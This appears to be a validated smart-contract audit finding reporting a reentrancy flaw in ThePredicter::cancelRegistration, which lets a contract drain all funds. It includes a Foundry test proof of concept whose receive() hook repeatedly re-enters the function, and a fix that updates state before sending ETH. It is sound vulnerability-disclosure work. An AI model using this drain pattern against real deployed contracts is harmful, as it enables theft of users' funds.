Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy vulnerability in `ThePredicter::cancelRegistration`

Summary

Reentrancy vulnerability in ThePredicter::cancelRegistration

Vulnerability Details

The ThePredicter::cancelRegistration function allows users who have registered but have not been approved by the organizer to withdraw their registration fee. But the function does not follow CEI(checks, interaction, and effect), it performs a state change after the ETH(registration fee) has been sent to the user.

Proof of Concept:

Add code to test file

function test_ReentrancyAttack() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address stranger4 = makeAddr("stranger4");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger4);
vm.deal(stranger4, 0.1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(address(this));
vm.deal(address(this), 0.1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
thePredicter.approvePlayer(stranger4);
vm.stopPrank();
vm.startPrank(address(this));
thePredicter.cancelRegistration();
vm.stopPrank();
assertEq(address(thePredicter).balance, 0);
}
receive() external payable {
if (address(thePredicter).balance > 0){
thePredicter.cancelRegistration();
}
}

Impact

This opens the function up to a reentrancy attack as a contract can continuously call the function draining all the funds in ThePredicter contract.

Tools Used

Static Analysis (Slither) and Manual Analysis

Recommendations

Follow CEI

+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.